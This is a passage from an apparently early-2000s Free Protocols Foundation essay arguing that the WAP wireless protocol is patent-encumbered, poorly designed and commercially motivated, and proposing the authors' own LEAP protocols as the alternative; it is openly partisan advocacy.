  o U.S. Patent # 5,809,415 (Phone.com, formerly
    Unwired Planet).  Method and architecture for
    an interactive two-way data communication
    network.

More patent infringement claims can almost
certainly be expected in the future.

One of the benefits of a standard protocol is that
it does not provide any advantage to one industry
player over another.  Anyone who wishes to develop
products and/or services based on the protocol may
do so, and may then compete with similar products
and/or services in a fair, open, free-market
environment.  In such an environment products
succeed or fail based on their merits, and the
benefits to the consumer are those traditionally
resulting from free-market competition:  better
products at lower prices.

The inclusion of patents in a standard entirely
corrupts this process.  The patent provides the
patent-holder with a sustained and unfair market
advantage.  The losers are the industry as a
whole, small companies, and the consumer.
Patents thus pose a significant danger to
protocols.  For this reason, the protocol
development process must include mechanisms to
address and eliminate patent restrictions.  Such
mechanisms exist, and are well-known and
understood within the Internet community.  For
example, we refer the reader to RFC 2026, The
Internet Standards Process -- Revision 3 [4].
Section 10 of this document, Intellectual Property
Rights, describes the policies and procedures
followed by the IESG (Internet Engineering
Steering Group) in this regard.  Among other
things, this section describes their policy
regarding:

  o Strong preference for the adoption of
    patent-free technology wherever possible.

  o The prompt, forthright disclosure of any
    actual or potential patent rights which may
    affect the protocol.

  o The steps to be taken to secure from the
    patent owner an unlimited, perpetual,
    non-exclusive, royalty-free license to include
    the patent as part of the protocol.

The IESG policy is an example of the effort
typically made within the Internet community to
work strenuously and diligently towards the goal
of a patent-free protocol.

As another example, the Free Protocols Foundation
publishes a set of policies and procedures for
protocol development that ensures, as far as
possible, that the resulting protocol is
functionally patent-free.  These procedures are
fully documented in the Free Protocols Foundation
Policies and Procedures, Version 1.0 [11].  Any
development organization is free to adopt these
procedures with regard to its own protocols.

The WAP Forum, clearly, has not followed the
example set by the Internet community at large.
Procedures such as those of the IESG and the Free
Protocols Foundation are well understood within
the Internet community, and by following such
procedures the WAP Forum could have ensured
patent-freedom of the WAP specification, had it
wished to do so.  However, it has not adopted such
procedures, and as a result the WAP specification
is in total violation of the principles of
patent-freedom.

More than any other factor, it is the failure of
the WAP Forum to work towards a patent-free
specification that leads us to characterize the
WAP specification as a trap.  Two of the companies
that participated in the development of the WAP
protocol (Phone.com and Geoworks) own patents
which they silently included in the protocol
design.  They remained silent until use of the
protocol began to spread throughout the industry,
and only then did they announce their patent
ownership and demand royalties.  In effect, these
companies have booby-trapped the WAP specification
with their patents.

The WAP Forum clearly does not share the Internet
community's commitment to patent freedom.  Indeed,
the WAP Forum's attitude to patents appears to be
diametrically opposed to this.  To quote Ben
Linder, VP of Marketing for Phone.com [7],

    ``By virtue of building a standard, each
    company contributes a small part of it.
    Then you trade with each other to keep
    implementing the standard.''

Mr.  Linder seems to view patent rights as
something to be traded among companies like
baseball cards.  Our question is:  How are
companies without any cards expected to
participate in this trade?

The spirit of a healthy protocol is that it be
open and free, a spirit which the WAP
specification violates completely.  The WAP
Forum's characterization of WAP as an ``open,
license-free standard'' is utterly preposterous.

2.4   No Legitimacy as a Standard
---------------------------------

Throughout its web site and printed materials, the
WAP Forum repeatedly refers to its specification
as a ``standard.''  The use of this term is
inappropriate and misleading.

In common engineering usage, the term ``standard''
means certain specific things.  It means a
protocol or other specification which

(a) is supported and approved by an established,
professional standards organization, and
(b) has achieved industry-wide acceptance and
usage.

The WAP specification enjoys neither form of
legitimacy.  It is approved by no organization
other than the WAP Forum itself, which has no
standing as a professional standards body.  Also,
despite the claims made in the WAP Forum's
promotional material, it has achieved little
acceptance in the marketplace.  Though marketing
projections for use of WAP are very impressive,
its actual usage in the U.S. remains limited.

The WAP Forum's use of the word ``standard''
implies that their specification carries some kind
of formal authority; in fact, it has none.  The
WAP Forum's use of this term is marketing hype,
not an objective statement of fact.

Any group of business interests can form a
members-only club, generate a specification,
publish it themselves, and call it whatever they
wish.  Regardless of the name they choose to
attach to it, however, this does not make the
result a ``standard'' in the conventional sense.

3   WAP - A Technical Failure
=============================

In addition to its procedural flaws, the WAP
specification also includes serious technical
deficiencies.

A detailed technical criticism of the WAP
specification is beyond the scope of this
document, and in this section we will do no more
than provide a brief summary of the major issues.
For a detailed analysis of WAP, the reader is
referred to the article W* Effect Considered
Harmful [14], in which author Rohit Khare argues
the shortcomings and ultimate non-viability of the
WAP specification.

The deficiencies in the WAP specification are
glaring, obvious, and readily apparent to any
competent data communications professional.  A
recent (January 2000) e-mail discussion thread on
the IETF mailing list [8] makes this point quite
plainly -- this thread demonstrates clear
consensus among professionals that the WAP
specifications are not a technically sound
engineering solution.

Many of the technical problems stem from a
strategic design decision, made early in the
design process.  As noted in the Introduction, a
new set of protocols are clearly needed to address
the efficiency needs of mobile wireless devices.
One approach to this would be to treat these
devices as just another kind of Internet host.
Under this approach, the existing Internet
protocol architecture would remain in place, and
to this would be added a small number of
supplementary Internet protocols, designed to
provide the power and bandwidth efficiency
required by wireless devices and networks.

The other approach is to treat these mobile
devices as a unique special case, requiring their
own, entirely new set of protocols.  Under this
approach, the existing Internet protocol stack is
discarded, and a completely new protocol stack is
re-designed from scratch.

The WAP Forum made the early strategic design
decision to take the latter approach.  They have
developed an entire stack of network protocols
analogous to, but largely incompatible with, the
existing Internet architecture.  Not only has this
approach required an enormous engineering effort
on the part of the protocol designers and
implementers, it has also given rise to a number
of fundamental design errors.

3.1   User Interface Assumptions
--------------------------------

A basic principle of data communications protocol
design is that communications considerations must
be de-coupled from user interface considerations.
In other words, user interface issues must not be
part of the protocol.

The WAP specification, however, violates this
principle completely.  It is tailored primarily to
the physical characteristics of the hand-held
mobile telephone, with its unique user interface
characteristics.  Accommodation is made to these
characteristics throughout the specification, with
the result that user interface issues are
repeatedly combined and confused with
communications issues.  To put this in the
language of data communications professionals:
WAP presumes presentation.

The WAP designers justify this on the grounds that
the combined technologies of wireless
communications, and the mobile telephone, create a
unique special case which warrants this departure
from standard design principles.  In fact, this is
a strategic design error.

3.2   Extreme Accommodation to Existing Networks
------------------------------------------------

Because WAP is essentially a marketing construct,
one of its goals has been to create mindshare
within every segment of the wireless industry.  In
order to accomplish this goal, WAP has made
extreme accommodation to existing wireless
networks.  The WAP specification claims to
accommodate almost all existing networks,
including several which are already obsolete in
their usage and general design.  This has
significantly and unnecessarily increased the
complexity of the specification.

The WAP specification claims to support all the
following wireless networks:  CDPD, CDMA, GSM,
PDC, PHS, TDMA, FLEX, ReFLEX, iDEN, TETRA, DECT,
DataTAC, Mobitex, SMS, USSD, CSD, IS-136.
Some of these networks, such as FLEX and ReFLEX,
are not general-purpose wireless networks, and
were neither intended nor designed to run
Internet-centric application protocols of any
kind.  WAP's decision to accommodate such networks
makes little sense in engineering terms.  This
decision can only have been based on marketing
considerations -- each additional network
supported provides WAP with one more promotional
bullet point.  Engineering concessions to
marketing are a fact of life in the world of
consumer products, but they have no place in an
industry-standard protocol.

Wireless networks are rapidly standardizing on IP,
the Internet Protocol.  Most modern wireless
networks (e.g.  CDPD, Packet CDMA) already support
native IP, and we can expect that others will do
so in the very near future.  The convergence of
wireless networks on IP at Layer 3 (the Network
Layer) is already a technological reality, and it
is inevitable that it will eventually become
standard on all networks.

Therefore the correct approach to wireless
application standardization is to accept IP as the
standard service at Network Layer, and implement
high-efficiency protocols above Layer 3.

Furthermore, the result of accommodating all these
networks is that the specification is no longer
Internet-centric.  WAP insists that the
specification is Internet-centric, but this claim
is without substance.  If one tries to accommodate
all existing technologies one cannot claim that
the result is Internet-centric - one simply cannot
have it both ways.

WAP claims to achieve accommodation of this very
wide range of networks by means of two lower layer
protocols:  Wireless Control Message Protocol
(WCMP), and Wireless Data Protocol (WDP).

WCMP is an out-of-place imitation of ICMP. Since
there are no multiprotocol wireless operators, use
of WCMP is always addressed as a service provider
specific mechanism.  In other words, WCMP is
largely irrelevant.

WDP is roughly equivalent to UDP. The only
rationale for its reinvention is to accommodate
airlink addresses and airlink restrictions on
packet size.  The equivalent of WDP could have
been accomplished on a per-network basis outside
the scope of wireless applications.  In fact, the
existence of WDP may become a hindrance towards
evolution of existing wireless networks towards
IP.

In general, backward compatibility is a worthy
design goal.  But in this particular case it is a
wasted effort.  The convergence of wireless
networks towards IP is already a technological
reality.  The strength and benefits of ``IP On
Everything'' by far outweigh the efforts in
accommodation and backward compatibility.

WAP's choice has been to accommodate all existing
old wireless networks -- a fact which betrays its
underlying market motivation.

3.3   Excessive Re-Invention in the Name of Wireless
----------------------------------------------------

Existing Internet protocols do not adequately meet
the requirements of wireless data communications
-- on this point we are in complete agreement with
the WAP Forum.  However, we believe that the
correct way to design the required protocols is to
do so within the framework of the existing
Internet protocol architecture -- the new
protocols should be compatible with and re-use
existing protocols as much as possible.

The WAP designers, however, have taken precisely
the opposite view.  Instead of re-using existing
protocols, they have created an entirely new set
of protocols from scratch.

The main key piece of new technology in WAP is the
Wireless Transaction Protocol (WTP). In many ways,
WTP is the heart of WAP. WTP is responsible for
delivering efficient reliability to applications.
Even in that area, WAP could have re-used existing
technology.  Specifically, T/TCP [3] and ESRO [2],
which had already been published as Internet RFCs,
could have been used.  While there may be some
reasonable objections to the use of T/TCP due to
its ``heaviness'' because of bundling with TCP,
there is no reason why ESRO could not have been
used instead of WTP. In fact, WTP is a poor
attempt at accomplishing the services of ESRO.

Aside from WTP, in most cases WAP's new protocols
are essentially the same as the previously
existing protocols, but with minor modifications
that render them incompatible with the original
standard.  The WAP specification discards and then
re-designs almost every existing Web standard --
for example, WAP replaces UDP with WDP, TLS with
WTLS, HTTP with WTP, HTML with WML, and ECMAScript
with WMLScript.

This large amount of re-invention is entirely
unnecessary.  There are many places throughout the
design of the WAP protocols where the existing
protocol structure could have been left untouched,
but complemented by the addition of a limited
number of new protocols, designed for optimal
efficiency.

The scope of the WAP specification has also been
expanded beyond what is needed or reasonable (e.g.
WCMP, WDP). Again, the WAP designers justify all
this re-invention and expansion of scope on the
grounds that wireless mobile devices present a
unique special case, requiring a completely new
set of protocols.  In fact there is nothing
specific to wireless applications which justifies
this exhaustive degree of re-invention.

3.4   Vulnerable Wireless Transport Layer Security (WTLS)
---------------------------------------------------------

In his paper Attacks against the WAP WTLS Protocol
[10], author Saarinen describes in detail a number
of security problems with WTLS. Here we provide a
brief summary of the problems and their cause.

Although the WTLS protocol is closely modeled on
the well-studied TLS protocol, a number of
security problems have been identified with WTLS.
These problems include:  vulnerability to datagram
truncation attack, message forgery attack, and a
key-search shortcut for some exportable keys.
Most of the text in the WTLS specification has
been adopted, word for word, from the TLS
specification.  However, many of the changes that
were made by WAP Forum have led to security
problems.

This is another case of the WAP Forum's deliberate
deviation from the mainstream of the Internet
causing difficulties.

3.5   Bungled Protocol Number Assignment
----------------------------------------

As Khare discusses in greater detail [14], WAP's
port numbering strategy is another example of
botched reference-by-copy.  Instead of obtaining
legitimate WAP ports in the IANA-registered space,
WAP uses the temporary private port space in the
range of 49152 to 49159.  In addition to the port
numbers, TLS ciphersuite codes and HTTP methods
were also not registered with IANA. Instead, the
WAP Forum has created its own parallel IANA
equivalent called WINA.

This is another case of WAP Forum's deliberate
deviation from the mainstream of the Internet in
the name of wireless, and for the purpose of
maintaining control.

4   WAP - A Basic Misconception
===============================

Beyond its procedural and technical flaws, we
believe that WAP represents a fundamental
misconception of what can feasibly be accomplished
using cell phones, and what actual users are going
to want to do with their phones.

Mobile Messaging, and Mobile Web Browsing,
represent two very different forms of mobile
communications activity.  Mobile Messaging refers
to the ability to send and receive personally
directed messages, while Mobile Web Browsing
refers to general information retrieval from
anywhere.

Both of these bring undoubted value to the user,
both can be accomplished on a cell phone, and the
mobile user of tomorrow will certainly indulge in
both activities.  However, the value that the two
activities bring to the user, and the suitability
of the two activities to the cell phone, are very
different.

Mobile Messaging allows important and/or
time-critical information, which may require the
user's immediate attention, to be pushed to
him/her quickly.  This is something which is of
inherent and compelling value to the off-line,
mobile user.  By contrast, the desire of the
mobile user to go back on-line for web access
rarely has the same importance or urgency.

A basic question is:  which of these two mobile
applications represents the best initial value?
We believe that Mobile Messaging is the right
answer for initial mobile applications
development.

4.1   The Wrong Answer Initially:  Mobile Web Browsing
------------------------------------------------------

The basic goal of the WAP specification is to
allow Internet web browsing using mobile phones.
The assumptions underlying this goal are, first,
that web browsing capability can be adequately
accomplished on a mobile phone, and second, that
this is something that will be of significant
value to mobile phone users.

However, we believe that neither of these
assumptions is correct.  First, the cell phone of
today is a totally inappropriate device for the
purpose of accessing the mature Internet.  Not
only is the cell phone user interface completely
inadequate for general web page display, but the
wireless network medium also imposes severe
limitations on the speed, immediacy, and
reliability of web page access.  It is simply not
practical to surf the web using today's four-line
text displays, over a slow, congested network with
unreliable coverage.

As Kevin Maney observes in his article Cell phones
let the Web 'go mobile' [9]

    ``Web phones can be slow and frustrating.
    Click on The Weather Channel, for example,
    and the phone takes 6 or 7 seconds to send
    the request through the Sprint wireless
    network, into the Internet and to The
    Weather Channel's WAP-enabled Web server,
    then get back the next menu.  On that
    menu, click ``cities,'' then wait a few
    more seconds before getting a request to
    enter a ZIP code.  You do that using the
    phone keypad.  A few seconds later, you
    get the report.  Only about 10-15 words
    fit on the screen at one time.  You scroll
    down to read it.''

It can be argued that future improvements in
display technology may act to alleviate these
difficulties, and this may very well be the case.
However, the need for convenient portability of
``unconscious carry'' communications devices such
as cell phones and pagers exerts tremendous design
force towards reducing the size of these devices.
The effect of this force is plainly apparent in
the current trend towards extreme miniaturization
of cell phones.

The design force towards miniaturization is
something which is in direct opposition to display
capability.  For this reason, we believe that
unconscious carry devices will continue to have
severely limited display capabilities.

Second, there is the question of what people are
actually going to do with the brand new medium of
wireless data communications.  How, and in what
forms, will this medium become part of society?
In ten years time we may have the answer, but
today, nobody knows.

Of all forms of risk, prediction is the most
gratuitous -- yet none of us seems able to resist
it.  WAP's answer is that mobile web browsing will
be enthusiastically embraced by society, and that
it will be done via the cell phone device.

Our answer is that we doubt it.  People will do
things on a mobile basis that make sense to do
while mobile -- they will access the information
that is most useful to them while away from the
home or office.  This includes such things as
urgent e-mail messages, and highly specific urgent
and important information.  But it does not
include general-purpose web browsing.

Web browsing is an interactive activity, for which
the user requires a near real-time response.
Furthermore, browsing, as the word indicates, is
not an activity that has any urgency, and is
therefore not something that there is a compelling
reason to do while mobile.  For both of these
reasons, we believe that people will continue to
do their web browsing at the home or office, and
that web browsing will remain a marginal component
of mobile communications.

It is true that the prospect of mobile Internet
access has created tremendous excitement in the
marketplace.  And there is something magical about
putting a cell phone in someone's hand, and
providing a demonstration of live mobile Internet
access.  But the enchantment that this creates in
the user stems from its technological novelty, not
from its enduring day-to-day usefulness.

4.2   The Right Answer Initially:  Mobile Messaging
---------------------------------------------------

This is not to say that all Internet data access
is without value to the user.  On the contrary,
consumers certainly will use their mobile phones
for Internet data access.  However, the nature and
types of data they will access will be appropriate
to the medium.

They will access data that they have a need for
and can use while mobile, that does not require
near-synchronous system interaction, and that can
conveniently be accessed via a mobile device.
The single application that satisfies these
criteria better than any other is mobile
messaging, or e-mail.  Interpersonal messaging has
already become an indispensable aspect of modern
life, and is now the dominant application for the
fixed Internet.  We believe that society will
adopt mobile messaging with the same enthusiasm as
conventional e-mail, and that it will achieve
similar dominance on the wireless Internet.

4.3   Unsupported Claims
------------------------

There is presently an enormous amount of hype
surrounding WAP. The WAP proponents have hyped its
abilities far beyond what the consumer will
actually be able to do with his or her cell phone.
There is a general perception that WAP will
essentially put the entire Internet into the hands
of the cell phone user.  It is understood that a
good deal of the form of a website may be lost in
translation to the cell phone, though its basic
textual content will be preserved.  Beyond this,
however, there is a perception that any website
can be accessed in this way; i.e.  that WAP will
make the entire Internet content accessible via
cell phone, just as it currently is via a
conventional ISP.

However, this is not the case.  WAP provides
access to websites by translating the HTML coding
of web pages into something that a cell phone can
understand and display.  What this means is that
in order to get information from a website, the
site must have a WAP-enabled server, and the
server must be programmed to extract the website
content that can be displayed on the miniature
cell phone screen.  In other words, if your
favorite website is not WAP-enabled, you probably
will not be able to access it through your cell
phone.

For this reason, the tremendous hype surrounding
WAP has yet to be backed up by commercially
available WAP products and services.  As Antony
Bruno comments in his article Market gap producing
WAP alternatives [5]

    ``A running joke among industry players
    has the WAP acronym meaning Where Are the
    Phones?''

WAP phones and services are not available in the
marketplace, because the promises of WAP are
simply not real.

4.3.1   Not Device-Independent
------------------------------

The WAP specification is being promoted by the WAP
Forum as a general-purpose wireless protocol,
suitable for a wide variety of end-user devices,
including PDAs such as PalmPilot.  As noted in
Section 3.1, however, WAP is in fact highly
phone-centric -- it is strongly oriented towards
the mobile telephone physical device, despite the
WAP Forum's claims of device-independence.

We note in passing that during the time that it
was promoting the general-purpose nature of WAP,
Unwired Planet, a founding member of the WAP
Forum, changed its name to Phone.com.  There are,
of course, many good reasons why a company might
wish to change its name.  It strikes us as ironic,
however, that while promoting the
device-independence of WAP, this founding WAP
Forum member abandoned a device-independent name
in favor of a device-dependent one.

4.3.2   Limited Web Browsing Capabilities
-----------------------------------------

The WAP Forum claims to bring web browsing
capability to the cell phone.  However, the cell
phone device is simply not equal to this task.
Because of the user interface limitations of the
cell phone -- its very small screen and limited
keypad -- the resulting web browsing experience is
clumsy and impractical.

Furthermore, use of the WAP specification to
access web content requires the use of WAP
gateways, which translate the WAP-enabled website
content into a format which the end-user can
access.  These gateways are controlled by the
Service Provider (typically the wireless phone
service provider), not the information provider.
This usage model is very much contrary to the
existing Internet usage model, in which the
Service Provider plays the role of an entirely
passive intermediary between the website provider
and the website reader.  In other words the
Service Provider functions purely as a pipe.  In
this model new website content becomes immediately
available to all Internet users as soon as it is
created by the website provider.  This
unrestricted connection between the creators and
consumers of Internet content has been one of the
keys to its extraordinary growth and vitality.
Because of this open characteristic the Internet
has been able to grow organically -- i.e.
spontaneously, autonomously, and without planning,
control, or approval by any central authority.

In the WAP model, by contrast, the WAP gateway
operated by the Service Provider plays the active
role of translating and storing web content, and
therefore controls access to the content by the
end-user.  New websites and new web content do not
become available to the end-user without the
active participation of the Service Provider.
This places a layer of control and authority
between the creator and consumer of website
content, greatly diminishing the potential for
unrestricted and organic growth of the Internet.

4.3.3   Existing Technology Adequate
------------------------------------

The premise of providing access to important
information through a cell phone is certainly
valid.  As noted above, however, the nature and
quantity of information that in practical terms
can be delivered via a cell phone is severely
constrained by the device itself.

The nature and quantity of information that can be
delivered is sufficiently heavily constrained,
that it can be adequately delivered using existing
technologies.

The equivalent of most, if not all, of what WAP
promises to deliver on a cell phone can very
reasonably be accomplished using existing and
already widespread technologies such as SMS.
Indeed, this is already being accomplished today.
Various companies, including Xypoint, AmikaNow!,
Roku, ThinAirApps and Microsoft, are already
providing services equivalent to WAP's claimed
functionality.  This is being done using existing
cell phones and existing cellular services.  For
more information, and a more complete list of
companies providing such services, see [5].

4.3.4   Voice Interface Adequate
--------------------------------

The screen user interface limitations of a cell
phone are so severe, in fact, that its data access
capabilities are almost always better served by
its voice interface -- with which, of course, all
cell phones come equipped.

The genuine utility of WAP on a cell phone resides
in those applications for which a visual data
interface is superior to a voice interface -- that
is, in those applications for which screen and
keypad are better suited than speaker and
microphone.  Given the limitations of the cell
phone screen and keypad, however, this is an
extremely narrow range of applications.  In other
words, if all you have is a tiny screen and a
miniature keypad, then in most cases you are
better off using the voice interface.

Use of the voice interface to access important or
time-critical information is already fairly
widespread.  The implementation of increasingly
reliable speech recognition and powerful
text-to-speech systems can be expected to make
data transfer via the voice interface even more
convenient.

5   Conclusion:  WAP is a Trap
==============================

We have no argument with the notion that a
world-wide standard is needed to address the
requirements of wireless data applications.

However, we believe that WAP is utterly unfit for
this purpose.  As we have shown in this article,
WAP is the result of a closed design process
within a members-only club.  It remains tightly
controlled by the WAP Forum, is crippled by
patents, and is riddled with technical design
errors.  In the long run WAP is doomed to failure.
In the short run it can only do harm to the
industry and the consumer.

All of this could be the result of a series of
colossal blunders by a well-meaning but
spectacularly incompetent industry association.
However, we do not believe that this is the case.
We do not believe that the WAP Forum is
well-meaning; on the contrary, we believe that
their fundamental motivations are crass financial
self-interest, coming at the expense of
engineering and business integrity.

The WAP Forum could easily have taken steps to
eliminate every one of the criticisms we have
leveled against it, yet they have not done so.  We
invite them to tell us why.

The WAP Forum claim that WAP is an extension of
the Internet, and is part of the Internet
mainstream.  Yet in no way has the development of
WAP been consistent with Internet conventions.
The specification could have been designed by an
open design process, by the straightforward
expedient of establishing open working groups and
public mailing lists.  There is ample precedent
for this in the history of Internet protocol
development.  Yet the WAP Forum has not done so.
Why not?

The WAP Forum could have ensured free and
permanent availability of the specification by
publishing them as RFCs, the mainstream method of
publishing Internet protocols, and supported by
extensive precedent.  Again, they have not done
so.  Why not?

The WAP Forum could have worked diligently towards
the goal of a patent-free protocol, by means of
processes with well-understood industry precedent.
Once more, they have not done so.  Why not?

We can come to only one conclusion:  WAP was
designed to create unfair market advantage for its
developers from the outset.  They have maintained
strict and close control of the protocol from the
beginning, in complete violation of Internet
conventions.  The WAP Forum members have knowingly
and deliberately incorporated their own patents
within the specifications, and now are demanding
royalties.

We can think of no better way to characterize such
a process than as a trap.  WAP is far from being
an enabling force in the wireless industry.  On
the contrary, it is a gigantic and poorly-designed
red herring created by narrow business
self-interests.  It is not a genuine engineering
construct; it is a bogus marketing one.
A recent quotation from Greg Williams, Chairman of
the WAP Forum, provides an excellent illustration
of the WAP Forum's preference for members-only
processes.  Commenting on the recent highly public
Geoworks patent infringement claim, he says [6],

    ``Companies in the WAP Forum generally
    settle licensing and cross-licensing deals
    between themselves.''

6   Preventing the Harm of WAP
==============================

What can be done to prevent the spread of WAP?
There are several possible steps that in principle
could be taken:

  o Work to reform the WAP Forum.

  o Spread the word about the WAP fraud.

  o Reject WAP at engineering level.

  o Reject WAP at consumer level.

  o Adopt a viable alternative to WAP.

6.1   Reform the WAP Forum
--------------------------

One possibility would be to work with the WAP
Forum -- to engage them in a dialogue, and try to
persuade them to correct the procedural problems
described in Section 2.  Among other things, this
would require that they establish an open working
group for maintenance of the protocol, initiate
RFC publication of the protocol, and make every
effort to lift all patent restrictions from the
protocol.

However, this would amount to a complete reversal
of the WAP Forum's mission and values, and it is
naive to imagine that this is possible.  At this
point, we regard the WAP Forum as being beyond
redemption.

This also leaves aside the question of what to do
about the technical deficiencies of WAP -- even
with the WAP Forum's complete cooperation, a major
effort would be required to create a sound
engineering solution.  Working to reform the WAP
Forum, therefore, is not a useful approach.

6.2   Spread the Word about the WAP Fraud
-----------------------------------------

Given that we can expect no help from the WAP
Forum, the most useful thing that can be done
quickly and easily is to spread the word about
WAP. It is for this purpose that this expose has
been written.

Please join us in letting it be widely known that
WAP is a trap.  You may freely make and distribute
copies of this article, provided the copyright and
permission notices are preserved.  You are
encouraged to bring this article to the attention
of the appropriate persons within your
organization.

6.3   Reject WAP at Engineering Level
-------------------------------------

Rejecting WAP at engineering level means working
to prevent WAP from being adopted in the design of
devices and systems.  This is primarily the
responsibility of the engineering community within
the wireless industry.

It is the responsibility of design engineers to
evaluate the controversy surrounding WAP, and
decide for themselves whether or not it is a sound
engineering solution.  If as an engineer you
decide that it is not, then we encourage you to
inform your manager of this, justify your position
on technical grounds, and recommend alternatives.

To provide support for this, the Free Protocols
Foundation maintains a set of informational
resources on its website at
http://www.freeprotocols.org/harmOfWap/main.html.

These resources include references to various
other papers and articles which corroborate the
fraudulence of WAP. Please feel free to use these
materials in any way you wish.  We also invite you
to contribute to the information pool at the Free
Protocols Foundation -- any comments, articles or
other information may be submitted to the FPF via
our website.

6.4   Reject WAP at Consumer Level
----------------------------------

Rejecting WAP at consumer level means encouraging
the end-users of hand-held wireless devices to
refuse to purchase WAP devices -- in other words,
to boycott these devices.

However, the WAP question is a very complex
technical and business issue, and it is not easy
to convince the consumer that this is something
worth caring about.  A successful boycott requires
an immediate, gut-level understanding of the
issues on the part of the consumer.  The WAP issue
is not something that can easily be condensed into
a ten-second sound bite.

In any case, WAP is not sufficiently widespread
for a boycott to be effective.  For these reasons
we do not consider a consumer boycott to be a
useful approach at this point.  For the moment,
WAP must be dealt with by the industry, not the
consumer.

6.5   Adopt an Alternative to WAP
---------------------------------

Regardless of the shortcomings of WAP, the fact
remains that at some point the wireless industry
must agree upon a standard protocol for efficient
data communications.  Ultimately, therefore, WAP
can be displaced only by the adoption of a
suitable alternative.

One traditional source of Internet protocols is
the Internet Engineering Task Force, or IETF. To
our knowledge, however, the IETF does not
currently have a working group assigned to this
task, and so no protocol can be expected from them
in the near future.  Even if the IETF were to
assign a working group to this immediately, it
typically takes 18 months to achieve a workable
first-draft protocol.  This time frame is far too
long to address the industry's immediately
pressing need.

Other traditional sources of protocols are private
industry, and the academic community.  However,
thus far a suitable protocol has been forthcoming
from neither of these sources.  Although there is
general consensus within the industry that an
alternative protocol to WAP is desperately needed,
no such protocol has yet been publicly proposed.
In this article, we would like to be the first to
present an alternative:  LEAP, the Lightweight and
Efficient Application Protocol.  LEAP is
immediately available, and has all the
characteristics required to displace WAP and
become the basis of an industry standard.  A brief
description of LEAP is provided in the following
section.

To the best of our knowledge, LEAP is the only
viable alternative to WAP. However, we invite
readers of this article to seek out and bring to
our attention any other alternatives that may
exist.  At the Free Protocols Foundation, we are
ready to support and publicize any viable,
patent-free alternative to WAP that is made known
to us.  Such alternative protocols will be
referenced at the FPF website at
http://www.FreeProtocols.org, and included in
future revisions of this article.

In summary, the best ways to prevent the harm of
WAP are to spread the word, reject WAP at
engineering level, and adopt alternatives.  We
encourage readers of this article to join us in
opposing WAP in all of these ways.

7   LEAP: One Alternative To WAP
================================

Fortunately, an alternative to WAP exists:  LEAP,
the Lightweight and Efficient Application
Protocol.  LEAP consists of a set of
high-performance, efficient protocols which are
ideal for mobile and wireless applications.  LEAP
presently includes the following component
protocols:

  o Efficient Short Remote Operations Protocol
    (ESRO).
    
    ESRO can be thought of as a reliable
    connectionless transport mechanism, forming
    the foundation for the development of
    efficient protocols when TCP is too much and
    UDP is too little.  ESRO was published as
    RFC-2188[2] in September of 1997.  The ESRO
    protocol is publicly maintained and developed
    by ESRO.org at http://www.esro.org/.

  o Efficient Mail Submission and Delivery
    Protocol (EMSD).
    
    EMSD is designed to address the mobile
    messaging (e-mail) application.  EMSD was
    published as RFC-2524 [1] in March of 1999.
    The EMSD protocol is publicly maintained and
    developed by EMSD.org at http://www.emsd.org/.

  o Efficient Hyper Text Delivery Protocol (EHTD).
    
    EHTD is currently undergoing development and
    will provide efficient delivery of web pages.
    It is currently undergoing public development
    at http://www.freeprotocols.org/EHTD.

Open source implementations of the ESRO and EMSD
protocols are being made available as free
software at:  http://www.MailMeAnywhere.org/.

The LEAP protocols, in combination with existing
Internet protocols, properly address the same set
of requirements that WAP claims to address.  They
have all the preferred protocol characteristics
described in Section 1.2.  They are published as
Internet RFCs, are publicly maintained, and suffer
from none of the technical deficiencies ascribed
to the WAP specifications.  In addition, the LEAP
protocols fully conform to the patent-free
policies and procedures of the Free Protocols
Foundation [11].

A comparison of LEAP to WAP, and justification of
LEAP as the basis of an industry standard, is
provided in LEAP: One Alternative To WAP [12], a
companion article to this one.  This article is
available at the Free Protocols Foundation website
at http://www.FreeProtocols.org.

A complete and detailed description of LEAP is
provided in The LEAP Manifesto [13], available at
the LEAP website at http://www.LeapForum.org.

Anyone interested in participating in the
development of the LEAP protocols is invited to
join the Mailing Lists sections of the websites
mentioned above.  LEAP's development process is
truly open and non-exclusive.  There are no
membership fees.  Participation in the LEAP
development process requires only that you commit
to the patent-free intent of LEAP and the Free
Protocols Foundation.


References
==========

 [1] M. Banan. Neda's Efficient Mail Submission
     and Delivery (EMSD) Protocol Specification
     Version 1.3. Request for Comments
     (Informational) 2524, Neda Communications,
     Inc., February 1999. Online document is
     available at
     ftp://ftp.isi.edu/in-notes/rfc2524.txt.

 [2] M. Banan, J. Cheng, and M. Taylor.
     AT&T/Neda's Efficient Short Remote Operations
     (ESRO) Protocol Specification Version 1.2.
     Request for Comments (Informational) 2188,
     Neda Communications, Inc., September 1997.
     Online document is available at
     ftp://ftp.isi.edu/in-notes/rfc2188.txt.

 [3] B. Braden. T/TCP -- TCP extensions for
     transactions functional specification.
     Request for Comments (Experimental) 1644,
     Internet Engineering Task Force, July 1994.

 [4] S. Bradner. The Internet Standards Process --
     Revision 3. RFC 2026, Internet Engineering
     Task Force, October 1996. (Obsoletes
     RFC1602).

 [5] Antony Bruno. Market gap producing WAP
     alternatives. RCR News [Online], February
     2000. The copy of this article can be
     obtained at RCR News web site
     (http://www.rcrnews.com)..

 [6] ComputerWire, Inc. Geoworks' Intellectual
     Property Claims Could ``Kill WAP''.
     Computergram 2000, January 2000.

 [7] Corey Grice, John Borland. Geoworks Soars on
     Wireless Licensing Plans. Staff Writers, CNET
     News.com, January 2000.

 [8] IETF Mailing List. January 2000 E-mail
     Discussion Thread. IETF Organization, January
     2000. See the mailing list section of
     http://www.ietf.org.

 [9] Kevin Maney. Cell Phones Let the Web 'go
     mobile'. USA TODAY [Online], February 2000.
     The copy of this article can be obtained at
     USA TODAY web site
     (http://www.usatoday.com)..

[10] Markku-Juhani Saarinen. Attacks Against The
     WAP WTLS Protocol. University of Jyvaskyla,
     1999. Online document is available at
     http://www.jyu.fi/ mjos.

[11] Mohsen Banan. Free Protocols Foundation
     Policies and Procedures. FPF Published
     Document 108-103-01, Free Protocols
     Foundation, Bellevue, WA, January 2000.
     Online document is available at
     http://www.freeprotocols.org/pubs/biblio/108-103-01/index.html.

[12] Mohsen Banan. LEAP: One Alternative to WAP.
     FPF Published Document 108-102-02, Free
     Protocols Foundation, Bellevue, WA, February
     2000. Online document is available at
     http://www.freeprotocols.org/pubs/biblio/108-102-02/index.html.

[13] Mohsen Banan. Lightweight & Efficient
     Application Protocol (LEAP) Manifesto. FPF
     Published Document 108-101-01, Free Protocols
     Foundation, Bellevue, WA, January 2000.
     Online document is available at
     http://www.freeprotocols.org/pubs/biblio/108-101-01/index.html.

[14] Rohit Khare. W* Effect Considered Harmful. 4K
     Associates, April 1999. Online document is
     available at
